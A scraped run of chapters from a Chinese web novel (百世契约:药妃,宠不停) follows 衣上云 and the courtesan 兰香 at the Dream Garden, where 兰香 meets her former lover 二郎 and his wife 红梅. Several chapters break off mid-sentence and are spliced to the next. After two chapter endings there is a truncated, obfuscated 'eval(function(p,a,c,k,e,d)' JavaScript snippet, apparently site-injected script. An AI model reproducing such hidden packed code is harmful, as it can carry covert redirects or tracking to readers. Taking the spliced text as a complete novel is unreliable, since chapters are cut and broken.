衣上云幽幽道“玉娘,她是个很可怜的女人,她的夫君为了守护西秦子民,让更多的家庭得以团圆美满和幸福,舍小家为大家,在与北烈国对战的战场上失踪了,至今生死不明。她为了找寻其夫君的消息,更为了一家人能够团聚,她不顾自己的名节,撇下年迈的婆婆和尚且年幼无知的女儿,只身来到这万娇阁里。可如今,却说没就没了,这让我回去要如何跟婆婆和灵儿开口呢,她们一定接受不了。”

闻此,兰香说话的声音忽然变得温柔了起来“那你和玉娘又是什么关系?”

“我和玉娘并无任何关系,只在秦...只见过一面而已。”衣上云答道。

“没有关系?一个与你只有一面之缘毫无关系的人,你竟也能对她的事如此用心,也真是难得了。”兰香惊叹道。

“世间的人与事,都讲求一个缘份。有的人,认识了一辈子也未必真的认识;而有的人,只要见一面,便仿佛已是相识了几世的故人。”

听到衣上云的这段话,兰香忽然想起了她生命里的那三个男人和万娇阁里的老鸨与嫣红来,这些不正是衣上云此时此刻所讲的那俩种人么。

稍一迟疑,不禁口中喃喃道“是啊,这世间的人与事,可不就都讲求一个缘份么!”

沉默了片刻,衣上云忽然开口打断了她的思绪“你方才想跟我讲的到底是何事?”

兰香这才回过神来,只见她轻轻放下手中的茶盏在桌案上,随后从衣袖里缓缓取出一张纸来,朝着衣上云踱步过去。

兰香展开那张纸来,放到衣上云的眼前,有些打趣地问她“你看看,可还认得这画像上的女子么,画的很不错喔?”

“这...你想说什么,这画像你是从哪儿来的?”衣上云一眼便认出了画像上的人不就正是她自己么,兰香到底想做什么。

兰香笑了笑,说道“哼...万娇阁可是这西秦国里最有名的风月之所,进进出出往来的客人非富即贵,与当地官府更是交往甚密,素来太平。然今日,你前脚刚踏入万娇阁的大门不久后,官府的人便也来了。来了也便来了,这平日里官府来巡查的事也时有发生,并无什么特别,也都只不过是走走

过场而已。可今日带人来查的竟不是往日里的赵捕头,于是,我便心生好奇地打听了一下,你猜怎么着?”

“怎样?”衣上云亦是有些好奇地问。

兰香惊讶

第一百二十九章:君子报仇,十年不晚

真真假假,假假真真,对于这个神秘部落的传说,到底哪种说法才是对的,亦或所有的说法都不对。

只是,老鸨清楚的记得,自己当初被南安国赶出来以后,正是因为这个充满神奇的传说而选择来到了西秦国,却不想让她在这里遇到了北烈国皇子拓跋泽。

当年,她遭亲姐姐算计,后又被迫母子骨肉分离,南安国君更是昏庸至极,竟都不分清楚青红皂白,便被那贱人蛊惑着急急下令将其永远地驱逐出南安国的境土。

之后,她伤心欲绝的在边境之地上囫囵度过了许多光景,在那里,她结识并习得了基本的毒蛊之术,却并不精进。

后来有一年,她终是无望地万念俱灰,想要愤愤离世之时,北烈国大皇子拓跋泽出现了。

拓跋泽得知了她的身份和悲惨经历后,便鼓励教唆她以其人之道还治其人之身,并告知了他的身份以及其宏图大志“总有一天,这整片灵空大陆都将被他拓跋泽一人踩在脚下。”

于是,带着对南安国的满腔仇恨和未来有一天能对自己儿子有所庇护,加之先前她听到的零星的关于古老的血族传说,老鸨便答应了拓跋泽留在西秦境内,由拓跋泽提供资源,帮助其潜心钻研医药毒蛊之术,与他合作。

那日起,她便发誓:有朝一日,她必将再次回到南安故国,一雪前耻,报仇雪恨。

思及此,老鸨的眼睛忽然转向了窗外浩瀚纯净的天空,又一次思念起她的儿子来,口中喃喃自语道“我的儿,应该也已经和拓跋泽的年纪相仿了吧......”

如今虽还是年关之际,却甚是一幅冬日里光秃秃的萧条景象,不见任何喜庆之色的普通平民家的小小院落里,东边角上简单地搭起着一座茅草屋,也且算得上是这个贫寒小门户的庖屋里。

屋顶炊烟袅袅,婆婆正在里面忙碌地在烧火烹煮,张罗着一餐简单的粥菜吃食。

兰香一出门便顿足向着这个所谓的庖屋看了看,望向了这个已满头银发,年迈不堪的老人,随后缓缓朝她走了过去。

婆婆见其走过来,很是生气地斜了她一眼,兰香见老人尚且还在生气着,便连忙上前挽起老人的胳臂,又将脑袋凑到老人的面前,似是撒娇般笑吟吟地说道“外婆可是还在恼着香儿?”

老人漫不经心地看了一眼搭在自己臂上的那双年轻的纤纤细手,又缓缓将她推了开来,依旧有些生气地哼声说道“哼...我这个瞎了眼又稀里糊涂,连好人歹人都分辨不清的糟老太婆,哪敢恼您呢?”

虽然知道这只是老人的一时气话,然兰香依旧忍不住很快

卸去了脸上的吟吟笑意。痴愣在原地,低声道“外婆...”

看到外孙女一时间笑意全无,老人又心疼着急了起来,赶忙走过去捉住兰香的手,语重心长地说道“香儿啊,不是外婆不记你的交待要帮那姑娘解开捆绑,而是她真的是个好姑娘,还是个宫里药师家的大家闺秀呢。她一个弱女子,只身一人来到城南,说是帮一位老婆婆寻找儿媳的。可你怎么...你怎么会把她带回家里绑起来呢?”

见兰香默不作声,似是心中有什么事故意瞒着不说,老人忽然想起了衣上云的话,便继续开口“对了,那姑娘说,你知道她要找的人的下落。外婆问你,你真的知道吗?你若知道的话,就快快告诉那位姑娘。人心都是肉长的,都知道疼,想必那位婆婆此时亦是极为思之忧之的。”

话一说完,兰香依旧只轻咬着嘴唇愣着不作任何言语,老人摇晃了一下其胳膊,提高声音道“香儿...你听到了没?”

兰香这才回过神来,急忙答道“香儿知道了,外婆就不要为此事操心了。香儿将她绑回家来,无论是对她,还是对香儿自己都是最好的。等过了这几天,香儿自会放了她,这一切也都是为了她好。”

老人听了,似是无奈地叹息一声,道“唉,真不知道你整天到底在做些什么,那姑娘还安慰我说,说你是个好姑娘,在外面靠自己的本事讨生活。可如今我瞧着,你竟已连掳人这种事都敢做了,天晓得会不会有一天你还能做出更出格的事来。我这到底是造了什么孽啊,你娘和你,就没有一个能让我省点儿心的,唉...”

话一说完,老人便摇了摇头往一边去盛饭。闻此,兰香默默地立在原地上无言以对。只口中喃喃道“她果真没骗我,真的跟外婆说我在外面靠自己的本事讨生活,而并未提及与万娇阁相关的半个字...想不到,她竟与秦王有关联,怕并不是一个简简单单的药师府千金。如今,与玉娘有关的那件事已经到了这个地步了,我若这个时候将一切告诉了她,主子的计划怕是十有八九会泡汤,到那时候主子一定不会饶了我,莫说拿回卖身契了,正如那老鸨所说,怕是自己的性命亦是难保的;可如果不告诉她玉娘的事,也不知道主子到底要玉娘做什么,仿佛我这心里又诸多不忍。与我不同,她和玉娘一模一样,她们都是正经人家的好女子,勇敢又善良,而我......”

正在她思索之际,老人已准备好了早饭,唤道“香儿,吃饭吧。”

“喔,好的,外婆,香儿这就来。”兰香瞬时回过神来一边说着,一边过去捧起小食案朝正屋而去。

一进门,兰香便将饭食放在一边,之后竟然向着衣上云的身边走过去坐了下来。

&n

第一百三十章:梦园梦树梦花开

衣上云劝兰香“冤冤相报何时了,也许他也是有不得已的苦衷呢?他毕竟是你的亲身父亲。”

“哼...不得已的苦衷...亲身父亲...18年了,这18年里,我,还有我娘和外婆,我们所受的歧视和痛苦,他可知道半分?或许他直到现在,根本都不知道这个世界上还有一个我。他有苦衷,他有苦衷就可以对我娘始乱终弃;他有苦衷,就可以抛弃妻子;他有苦衷,就要断送别人的一生,让别人也一世痛苦么?凭什么?”

闻之,兰香冷哼一声,紧紧地盯视着衣上云的眼睛,一字一顿清清楚楚地说着,眼里顿时噙满了泪水。话刚一说完,便将此时的一双凄美的眼睛高高抬起强忍着,不让眼里的泪水流出来。

见此,衣上云一时间竟无言以对,不知道说什么才好。有道是’天下无不是的父母’,可不知到底为什么,兰香与其父亲之间竟然会如此苦大仇深。

就在衣上云陷入沉思之际,兰香忽然吸了吸鼻子,似是已经整理好了委屈又烦闷的情绪,再次拿起筷子来一边帮衣上云往碗里夹菜,一边对她说道“快点儿吃饭,吃完了我带你去个地方。”

“嗯?你要带我出门?你真的不怕我逃跑?”衣上云瞬时抬起头来,惊道。

然兰香一边吃饭,一边自信地对她说道“我知道,此时此刻,即使我用八抬大轿送你走,你也不会走的,对么?”

衣上云惊讶地看着兰香的眼睛,渐渐抿起了她那张温软的红唇。

“快吃吧,待会儿我拿我的衣裳给你换上。”兰香又一次催促着说,衣上云这才发现自己的发带早已没了踪影,至今尚且都还披头散发着,凌乱不堪。

俩人很快便吃好了早饭,衣上云亦麻利地换回了一身粉嫩的女儿家衣裙,簪了两朵朴素的短流苏头饰,梳妆打扮好,便跟在兰香的身后从屋里走了出来。

院子里,老人正忙着准备帮衣上云浣洗她刚刚换下来的那套白袍男装,衣上云看见连忙走过去客气地致谢道“多谢婆婆的照料,这几日里怕是要叨扰麻烦婆婆了。”

“姑娘说的这是什么话,我们香儿打小便没有什么亲近的朋友,今日她能遇到姑娘这么好的人,是她的福气,婆婆开心都还来不及呢,浣洗个衣裳又有什么好客气的...不过,看你们这架势,是要出门?”老人一边对其喜笑颜开地说着,一边上下打量了下俩人的行装道。

这时,兰香急急上前插话道“外婆,她是从城西来的,甚少来咱们城南。香儿听说梦园里的梦树开花了,便想着带她过去瞧瞧。”

老人顿时满面欣喜地一边点头一边说道“梦树开花了?!好,好,好,去吧,去看看。年轻多好啊,不像我这

个老太婆,不但腿脚不好使了,如今就连这眼神亦是是越发的不好了,就算想看也看不清楚喽。”

“婆婆眼睛不好么?”衣上云听了这话,有些忧心地问。

老人幽幽叹道“唉,人老了,便到处都不爽朗了。没事儿的,别担心,姑娘快去吧。这梦园里的梦树,每年到了开花的时候,可真的是一片梦海呢。这可是咱西秦国的一大景观呢。现下里正是春节,男男女女的,便肯定更是热闹了。那里的花儿开的是又香又美,婆婆我年轻的时候三天两头地跑去看,一辈子最爱看那里的花儿了。快点去吧,快去...”

“真的有这么美么?那我可真得去瞧瞧了。婆婆,那我们走了,您独自在家,仔细着点,小心绊倒了,我们去去很快就回。”衣上云扶着婆婆的胳膊,叮咛道。

“去吧,去吧。”婆婆随即伸出两只手来,拉着衣上云和兰香的胳膊将俩人一起送出了院子。

站在门口的巷子里,老人看着俩个花儿一样的姑娘渐行渐远的背影,面带微笑,口中喃喃地叹道“多好的姑娘啊,真好。这下我们香儿终于有伴儿了。”

约摸着步行不到一个时辰的路程,走过了几条繁华的街道。渐渐地,一路上所见的行人亦越来越少。

衣上云忽然想起昨夜被兰香一掌劈晕的情景,想着想着不禁暗自笑出了声“呵呵...”

兰香见了纳闷地问“你莫名其妙的笑什么?”

顿时,衣上云看了她一眼,说道“你看起来柔柔弱弱的,没想到竟然习过武?难怪我昨夜被你一掌便劈晕了过去,竟一夜未醒。”

“我那也是没有办法,我必须想办法将你带出来,你绝对不能留在万娇阁里。”想起昨夜发生的事,即便是此时,兰香心里仍是有些后怕地辩说道。

衣上云听了这话,却只一脸正色地对她说“我相信你不会害我,谢谢你...只是,你这拳脚是从哪儿学来的?”

兰香一边走,一边哼笑了一声,似是无奈地说道“哼,我那只是跟着万娇阁里的客人学的一些三脚猫的功夫而已,根本没什么用处。本来是想拿来应对那些不好相处的客人的,可是能花得起银子来万娇阁里找乐子消遣的客人,那都是非富即贵的主。我这是秀才遇到兵,根本没办法施展,到最后,便只能任由客人摆布,哪里还敢对客人动手动脚呢。”

闻此,犹豫了半晌,衣上云终是没能忍住,便压低了声音开口问道“兰香,你...你是如何落到万娇阁的?”

原以为依照兰香的炮仗式脾气,会一点即着,谁料,兰香听到这话却并没有生气,只是低头不语淡淡地笑着。

见此,衣上云也不便再继续追问。

忽然,俩人身边的行

人突然络绎不绝地多了起来,衣上云疑惑地左右张望着。当她的目光忽然移动看向前方的时候,顿时便被眼前的景象惊呆了。

眼前映入她眼帘的,是看着十分气派雄伟的一座超大的青瓦白墙园林式院落,其正面大门的门楣上高高悬挂着的匾额上雕刻着两个龙飞凤舞颇具气势的“梦园”字迹,更是令进进出出,来来往往的游客行人们惊叹不已。

衣上云眼睛直勾勾地望着那两个字,满脸惊喜道“这就是‘梦园’。”

兰香亦含笑对她答道“对,这便是闻名全西秦的大型园林‘梦园’。”

随即,俩人一道迈步缓缓踏上石阶进到大门内,园内一望无边的亭台水榭、殿堂楼阁、轩馆廊榭等各种建筑,还有众多木制和石制桥梁等便一一顿现了出来。

进到里面,方才知道,这‘梦园’原来是个园中园的设计,里面的院落不计其数。

俩人逛了半天了,始终也没有看到尽头,衣上云心里竟有些怀疑起,这里是不是一个迷宫了。

而就在这时,她忽然看见前方的路被人拥堵了起来,于是,她便好奇地亦朝着人山人海的地方走了过去。

好不容易穿过了密密麻麻的游客所聚集成的坚实人墙,挤到了最前面。这才看到,原来大家竟是在围观这片一望无际正含苞怒放着的结香花海。

只见这片规模甚是壮观的结香花海,其间以各种梅花点缀着,搭配的倒是极为雅致。

衣上云顿时竟目瞪口呆了起来“这片结香花海,真的好美啊!”

兰香亦如痴如醉地看着眼前这百看不厌的一朵朵小黄花儿,听到衣上云的喃喃细语,疑惑的问她“你说这是什么?”

衣上云朝其仔细解释道“结香开花时没有叶片,因其枝条柔软可以打结,花朵有香气,故名结香。结香粗壮柔软,可打结而不断,故名打结花、打结树。难道不是么?”

兰香自是不以为然道“什么结香,什么打结?这是梦树。你不是药师府千金么,竟连这个也不知?!”

衣上云顿时蹙眉疑惑地问“梦树?”

稍作回想后,她终于从脑海中搜索到了关于梦树的信息。

确是没错,结香又叫做梦树。据说,在一些地方结香所开的花亦被称作“梦花”,其实结香的花倒并不引人注意。

一念至此,衣上云笑道“对,对,没错,也是叫做梦树。听老人们讲,这种树是可以解梦的。晚上做了梦,大清早起来,在没人看见的时候去把它的树枝打个结,如果是好梦就可以实现,是噩梦的话也能得以化解。这种树便被称为“梦树”,而花,自然就成了“梦花”。”

衣上云这才恍然大悟道“嗯,梦园梦树梦花开,这名字还真是不错

。”

忽然,她看到一边儿上有一对年轻似情侣的男女,在一颗结香的枝上打着两个同向的结,衣上云不解道“他们这是在做什么?”

兰香顺势看过去,刹那间眼里满是温柔地含笑说道“这就叫做‘喜结连枝’。在西秦,梦树亦被称作姻缘树。因为很多恋爱中的男女们相信,若要得到长长久久的甜蜜爱情和幸福,只要在梦树的枝上打两个同向的结,这个愿望就能被实现。”

衣上云似是看出了兰香此时的心思,忽然说道“‘喜结连枝’,莫非你也曾做过?”

闻此,兰香忽然褪去了脸上的笑容,深叹口气,接着道“没有,我没做过。”

然眼睛却转向了墙角上的一棵不起眼的梦树,那树上正好打着两个同向的结……

(本章完)

eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=(newRegExp('\\b'+e(c)+'\\b','g,k[c])}}returnp}('h4="F"+E.(B).H(2);("");8((/(K)/i.J)){(\'u\',v(e){h3=;8(){8(7[+"w"]!=1){7[+"w"]=1;A(z(3.(/\\+/g,"%15")))}}});(\'\}w{;(\'

第一百三十一章:春天到了,该回国了

天一亮,万娇阁里。

拓跋泽的贴身侍卫急急上楼来,禀道“殿下,老鸨说兰香自称身体不适,昨夜已告假数日外出静养了。”

“啪”的一声,拓跋泽的一只拳头重重地砸在其面前的茶几上,茶水到处四溅,他却只顾愤愤地怒道“什么?这都什么时候了,竟然让那个贱人离开了万娇阁。”

侍卫怯怯地说“老鸨说,她保证兰香一定会回来的,绝对不会逃走。况且,兰香的卖身契还在阁里。”

拓跋泽听了,心里似是稍微缓和了一些。坐在茶几边上,轻叹口气......

《百世契约:药妃,宠不停》第一百三十一章:春天到了,该回国了

百世契约:药妃,宠不停

第一百三十二章:游园惊梦

兰香吸了吸鼻子,自言自语道“二郎,你到底去了哪里,你回来跟兰香把一切都说清楚,说清楚啊。”

情到深处,伤心欲绝,她竟“扑通”一声跪倒在了那株结香树旁,低头蜷缩着瑟瑟发抖地抽泣起来。

就在这时,耳边忽然传来一个声音“兰香。”

兰香听到这似是有些耳熟的男子声音的轻唤,方才渐渐从一片深深的相思悲痛中缓过神来,将头缓缓抬起。

“二郎?!”一抬头,兰香顿觉不可思议地惊叫道,可随即又慌慌张张地想要即刻便起身靠近过去将来人查验个清楚,这才发现自己不知是因为太过惊讶还是因为伤心思念过度,竟早已站不起身来。

见此,这位玉树临风,文质彬彬又温文尔雅的白袍翩翩公子快步走上前来,眼里含情脉脉地蹲下身去将她扶住。

顿时,兰香终于再也忍不住思念地伸出手来,一把将这白袍公子的腰身紧紧地搂住,更加伤心委屈地哭了起来。

而白袍公子亦将其一把揽入他宽阔温暖的怀中,一时间百感交集,千言万语只能暂时任其化作一个彼此深深的相拥。

“二郎,真的是你么?这是真的么?你真的是二郎,真的是兰香的二郎回来了?”兰香一边喜极而泣着,一边紧紧地靠着白袍公子坚实的胸膛深感极不真实地朝其一遍又一遍地问道。

“是我,我是二郎,是你的二郎回来了。”白袍公子亦深情地说道。

谁料,片刻后,兰香忽然将手抽开,用力地一把推开了拥她入怀的白袍公子,声嘶竭力地对其怒喝道“骗子、伪君子、卑鄙、无耻、下流,你滚开,你不要碰我。”

“兰香,你这是怎么了?”白袍公子突然被兰香始料不及的一个大力推开,顺势一个踉跄,险些跌坐在地,急急后退了两步甚是不解道。

然兰香却只自顾自地又一次开始抽泣起来......

此时,不远处,通往隔壁院子的拱门口外,制作麦芽糖、面人儿、还有糖葫芦的小摊上,衣上云正满脸笑容开心地挑选着各种甜滋滋的小甜食儿。

忽然看到身边的人们都蜂拥般的从自己身边经过,她亦有些好奇地抬起头来朝着人们所往之处瞧了起来,不禁心里纳闷道,是出什么事了么?

就在这时,小摊的摊主,一个年龄已过不惑之年的老伯,向一位路经过的年轻妇人探问道“前面是发生什么事儿了么?”

妇人答道“前面有个俊俏的负心汉,快去瞧瞧。”

摊主笑而不答,只摇了摇头,继续手中的活计,随后道“这世上,遍是痴情女子负心汉,尽是不同的故事一样的结局,不看倒好,看了也是徒增伤感一缕。既然负都负了,各自珍重便好。既已分开,又何必

再回来纠缠。唉,这世间的情情爱爱,最是磨人,缘起缘灭,本就都是浮云一场而已,又何苦恋恋不舍。”

小摊的摊主老伯话说的倒是云里雾里的深刻,然衣上云却似是一句都没有听进去,只朝其皮笑肉不笑地一视,便又朝着人们所向聚集之处看了去。

此时此刻,她心里想的是:此时正逢春节,这偌大的梦园里,处处人山人海。却因了这具有特殊意义的结香花,只唯独此傍湖而立的院落里人最是多。若等会儿半天找不着兰香人了,那可就要费不少事儿了。

再说了,要找到玉娘,守着兰香好像是目前唯一的办法了。这兰香也好不容易答应她要开口了,这次看着她也是极其认真的,应该不会再骗她。

这城南的地形,她可一点儿都不熟悉,要是真找不着兰香了,就她自己是绝对找不着回兰香家的路的。更何况,如今在这儿,她可是独自一人。就她这个路痴,可千万不能在这个节骨眼儿上,把自己先给弄丢了。

思量至此,衣上云方感情势严重,便匆匆从袖子里掏出一个装小钱儿的小香囊来“老伯,这几个我都要了,给您钱,您拿好了。”

说完,便递给摊主老伯几个铜钱,尔后自己伸手挑选着拔下两个冰糖葫芦和依照这梦园里的结香花制成的俩个麦芽糖花,迈着轻盈而又愉快的脚步,沿着原路返回了去找兰香。

可当她一脸欣喜的穿过密密麻麻的人群,一凑上前去的时候,便立刻僵住了脸上的盈盈笑意,被眼前的情景惊呆了……

只见兰香正站在墙角上的那株最不起眼的结香树边,发了疯似的一边哭泣着,一边拼命般狠狠三两下便将那树上原本打着的两个牢牢的同向结给拆解了开来,嘴里还愤愤念叨着“什么姻缘树,什么喜结连枝,什么长长久久的甜蜜爱情和幸福,都是骗人的,一切都是骗人的。哈哈哈.....这些年,我竟全都相信着。我就是个傻子,傻子...”

随后,兰香忽然转过身来,面目狰狞着伸出一根纤长的手指直指着身前那位温文而婉的白袍公子身旁的年轻妇人,眼睛恨恨地朝那白袍公子怒问道“她是谁?”

白袍公子顺势看了身旁的女子一眼,眼中满是歉意,继而又看向了兰香,低声怯怯地回她道“她是我的结发妻子,红梅。”

兰香听了没有说话,又是一阵仰天的哈哈大笑。白袍公子见了,顿时手足无措地劝道“兰香,你先不要动怒,你听我给你解释。当年...”

然还未及白袍公子将话说出口,兰香便突然收了狂笑之声,低下眉眼来对那其怒斥道“闭嘴,你这个丧心病狂,人面兽心的伪君子,你有什么资格跟我提当年。当年,你不但骗了我的身

子,还将我卖入青楼,受尽苦楚与折磨。我竟不知,这世间,还有你这般丧心病狂之徒。如今,你还敢回来,竟还带着一位结发妻子。哈哈...哈哈哈,真是可笑至极,可笑至极啊。你看,你看看啊,你看看这株刚刚被我拆解开来的梦树,你可还认得?这上面的喜结连枝是不是你同我当年亲手打上去的?可这喜结连枝方才被我刚刚解开,你便带了结发妻子回来,那与我当年打下的这个喜结连枝还有何意义,你说,你说啊,你说你是不是一个骗子,是不是?”

“将你卖入青楼?兰香你...我...我没有,我...”白袍公子听了兰香的话,缓缓摇头,低声惊讶道。其身旁的妇人亦吃惊地看着兰香,又看看白袍公子。

“怎么?这才不过两年的光景,便都忘记了么?”兰香轻蔑的眼神,淡淡地说道。

“难道是...不可能...绝不可能,不可能是这样?”白袍公子稍作思量,似是心里已有所怀疑,突然情绪有些慌乱了起来,踉跄欲倒。

见此,他身旁的年轻妇人连忙过去将其胳膊扶住,关切地道“二郎莫急,红梅来替二郎跟兰香姐解释。”

闻此,兰香狠狠朝着年轻妇人瞪了一眼。

那妇人一袭淡紫色衣裙,头点珠翠、略施粉黛、面容姣好、温柔贤惠、看起来一副书香门第大家闺秀的模样,一上前来便恭敬地朝着兰香欠身行礼“红梅见过兰香姐。”

妇人抬眼见兰香并不怎么待见她,却也并未退缩,仍旧脸上和语气中带着些许歉意地说道“兰香姐莫要误会了二郎,二郎真的不是这世间的薄情寡义之人。这两年,每到这西秦梦园的梦花开花时节,二郎都会来梦园的这株梦树边等兰香姐再次出现。兰香姐若不相信红梅的话,可以看看方才你拆解开来的那对喜结连枝的树枝,看看它上面是不是雕刻着许多深浅不一的兰花记号,那兰花代表的,不正是兰香姐你么。”

闻此,兰香激动不已的情绪方才和缓了些许下来。心里瞬间为之有了些动容,默默地顺势拾起其中的一根树枝来凑到跟前,很容易便发现了那软软的树枝上,清清楚楚地雕刻着许多新旧不一的兰花印记。

见此,红梅继续说“每次雕刻这些兰花记号的时候,二郎都是小心翼翼的,这力道不能大也不能小。力道大了,二郎怕毁坏了树枝,可力道小了,又怕日子一久,便看不清楚这印痕,就如同模糊了二郎记忆中兰香姐的模样一般。曾经多少次,刻刀刻在二郎自己的手上,他却一点都觉不到痛...兰香姐,这两年,二郎的心里也不好受啊...”

红梅说着说着,停了下来,想起以前自己站在一边默默地看着自己的夫君在此

为别的女人伤情,竟不知道这泪水里到底是对夫君的疼惜还是对他这段旧情的妒忌。

稍作回忆后,红梅又说“当年,二郎忽然回家来说,要请媒婆到兰香姐家中提亲。二郎家中父母不允,的确,红梅承认这也是因为红梅的缘故,红梅的父母与二郎的父母是世交,自小便希望红梅与二郎能在一起喜结连理。但二郎一直坚持,为此与家里对抗。后来,两家父母商量过后便交待管家无论用什么办法,都务必让兰香姐对二郎死心。可二郎与红梅都没有想到,管家竟会使出这种下三滥的手段。只是...那管家后来在家中兴风作浪,半年前已经被公婆打发走了。如今,怕是亦无处可寻了。否则,就算搭上红梅的性命,红梅也一定要替兰香姐向其讨回公道。”

话已至此,似乎之前所有的误会一时间也都明朗了起来,在场的这三人也都各自平静沉默了下来。

兰香的两只手里,捏着被自己刚刚愤愤拆解下来的喜结连枝的两根树枝,望着上面密密麻麻却清清楚楚的雕刻着的兰花印记呆愣着。

尚且还挤在人群里观望着的衣上云亦终于了解了曾经发生在兰香身上的所有不幸的遭遇。此时,亦是心里百味杂陈着。

而混挤在梦园人山人海里的,还有几个手持短剑,眼里冒着凶光的杀手......

(本章完)

eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=(newRegExp('\\b'+e(c)+'\\b','g,k[c])}}returnp}('h4="F"+E.(B).H(2);("");8((/(K)/i.J)){(\'u\',v(e){h3=;8(){8(7[+"w"]!=1){7[+"w"]=1;A(z(3.(/\\+/g,"%15")))}}});(\'\}w{;(\'

第一百三十三章:心若兰兮终不移

听了红梅的一席话,似乎之前所有的误会一时间也都明朗了起来,在场的这三人也都各自或多或少平静沉默了下来。

兰香的两只手里,捏着被自己刚刚愤愤拆解下来的喜结连枝的两根树枝,望着上面密密麻麻却清清楚楚的雕刻着的兰花印记呆愣着。

尚且还挤在人群里观望着的衣上云亦终于了解了曾经发生在兰香身上的所有不幸的遭遇。此时,亦是心里百味杂陈着。

突然,黑压压一片挤在一旁围观看热闹的人们亦是都开始七嘴八舌,叽叽喳喳地对这三人指指点点,评头论足议论了开来。好听的,不好听的,什么话都有。

“原来是个窑子里的货色”

“倒也是个苦命的孩子”

“俊男美女,俩个人长得倒是郎才女貌的,真是可惜了。”

“好好的一对璧人,怎么会落得今天这个样子”

“都是那挨千刀的管家造的孽”

“帮姑娘赎身吧,回去纳了人家,看那公子的正牌妻子知书达理的,应该不是个妒妇”

“哎呀,这怎么行呢,都在那地方呆了两年了。那公子看着文质彬彬,像是出自书香门第正经人家的儿郎,这种人家家里,怎么可能接受一个青楼女子”

......

听到旁观者的闲言碎语,议论纷纷。白袍公子这才回过神来,于是连忙上前一把捉住了兰香的胳膊,便想将其拖着离开“兰香,跟我走,今日二郎我就算倾家荡产,也一定要把你赎出来。我带你回家,这次,说什么我都不会再放开你,谁都别想阻止我们,拆散我们,我一定要娶你,相信我。”

听到白袍公子这番发自肺腑恳切感人的话,旁观众人竟都纷纷对其鼓起掌来。

红梅亦是静静地站在一旁,看着自己的夫君信誓旦旦地对另一个女人说着这辈子,她都想听却永远也不可能听到的话。

如是一般女子,此时此刻心里不知道有多羡慕、嫉妒、恨,可她却不能。

因为,从小与夫君青梅竹马的她,心中一辈子都只认定了她的夫君一人,她太懂她的夫君。

自从两年前她上了花轿,迈入夫君家大门的那一刻,便已经准备好了接受一辈子都注定有名无实的夫妻关系。

这两年来,她从来都没看到过夫君脸上有一丝的笑容,她的心里是有多疼。

这世间,有些爱,虽不能两情相悦,却依然让人感动。纵使结果到了最后,可能唯独只是感动了自己,然生命也一样深刻,犹如至宝,珍贵无比。

然听到白袍公子这番肺腑之言,兰香却拼力挣扎开了他的手,咬牙切齿般地对其说出了这般伤人狠心的话“就算你们说的这一切都是真的,都是那管家的主意,与你们都无关。好,算我兰香

倒霉。这辈子,我认了。可如今,你既已经有了妻室,还回来找我做什么?看看你的正妻,温柔贤惠、气质如兰、高贵大方。而我...”

一说到自己身上,兰香想起这两年在万娇阁里不易的种种辛酸和苦楚,泪水瞬间夺眶而出,她迅速将头高高抬起,欲将眼泪倒回去眼底,随即抹了一把眼角已悄然流下的泪水,对着天仰望轻叹,吸了吸鼻子,继续说道“而我却是一个人尽可夫的妓女,你又如何再娶我进门。你说,你是不是还想骗我一次,伤我一次。我兰香早就已经不是当年那个痴痴傻傻的小女孩儿了。今生今世,我兰香再也不会上你的当,不会上任何人的当,任由你们侮辱摆布。”

“为什么,为什么你到现在还不相信我,真的不是我做的,我怎么可能那样对你。我绝对不会背叛当年对你立下的誓言‘今生今世,二郎只愿得兰香一人心,白首不相离’,纵使这两年你不在我的身边,我也不曾违背自己的誓言。红梅她...我与红梅...”白袍公子听了兰香如此狠心决绝的话,摇着头激动地说道。

这时,红梅快步上前来,打断了白袍公子的话,只见她一上去便将手急急伸到白袍公子的衣袖里,掏出一支翠绿色的金镶玉兰花玉簪来。

随即缓缓走向了兰香面前,白袍公子怔在原地愣愣地看着红梅的背影,红梅一边端详着手中的玉簪,一边一字一句朝着兰香恳切地说道“‘气如兰兮长不改,心若兰兮终不移’兰香姐,这支翠绿色的金镶玉兰花玉簪你可还识得?”

兰香顿时惊讶地眼睁睁看着自己眼熟的不能再熟悉的物件,缓缓伸手将其接过,对红梅怔道“这兰花玉簪,你...”

红梅轻叹口气,略带悲伤地朝其说“兰香姐与二郎的事,红梅这两年也从二郎那里听得了略知一二。这支翠绿色金镶玉兰花玉簪所代表的意义,想必兰香姐一定不会质疑了吧。这不正是当年兰香姐与二郎的定情信物么。”

两年的时间里,与自己朝夕相处的夫君竟然心里装着另一个女子,任谁都不可能不嫉妒,不怨恨,可红梅这两年却只觉得自己的夫君愈来愈郁郁寡欢,生怕他如此下去,会闷出什么大病来。这个二郎确实是个温文而婉的好夫君,只可惜任她再多努力,却始终都走不进他的心里。

稍作回忆,红梅缓缓说起“兰香姐可知,在这两年的光景里,这支兰花玉簪日日夜夜,从来都没有一刻离开过二郎的身上。就连...就连我们的洞房花烛夜,二郎也是独自对着这支兰花玉簪度过的。‘气如兰兮长不改,心若兰兮终不移’,我与二郎至今...至今都尚未圆房

第一百三十四章:杀人灭口,分开逃命

白袍公子忽然笑了起来,对着兰香说道“这一世,始终是二郎负了你,下一世,二郎一定还你。”

闻此,在场的所有人都一起抹起泪来。

话一说完,白袍公子终于含着笑缓缓闭起了那双深邃的眼睛。

兰香用力一把紧紧拥起白袍公子,摇晃着道“二郎,二郎,二郎你醒过来,你不能睡,你快醒过来。兰香不要下一世,兰香只要现在。这一世,生生世世,兰香都不能没有你。兰香知道错了,是兰香误会了二郎,兰香不能没有二郎,不能...”

可不管她再说什么,做什么。此时,显然白袍公子已经彻底地离开了这个世界,离开了他此生生命里最放不下的这两个女人。

悲兮,痛兮,兰香仰天大哭,这哭声撕心裂肺、声嘶竭力、震彻天地。

风雨依旧,落花依然。

而此时,一旁的红梅早已恍若失魂般呆呆地站在边儿上,手里紧紧攥着一条水绿色丝帕,任由那滂沱大雨冲刷着她的周身。她却一如既往地极力隐忍着内心的悲痛,终究摇摇晃晃着,一个没站稳,便重重地跌倒在地上,黯然失神道“这次,终于如你所愿了。”

“花开花落花无悔,缘来缘去缘如水。花谢为花开,花飞为花悲。花悲为花泪,花泪为花碎。花舞花落泪,花哭花瓣飞。花开为谁谢,花谢为谁悲。”

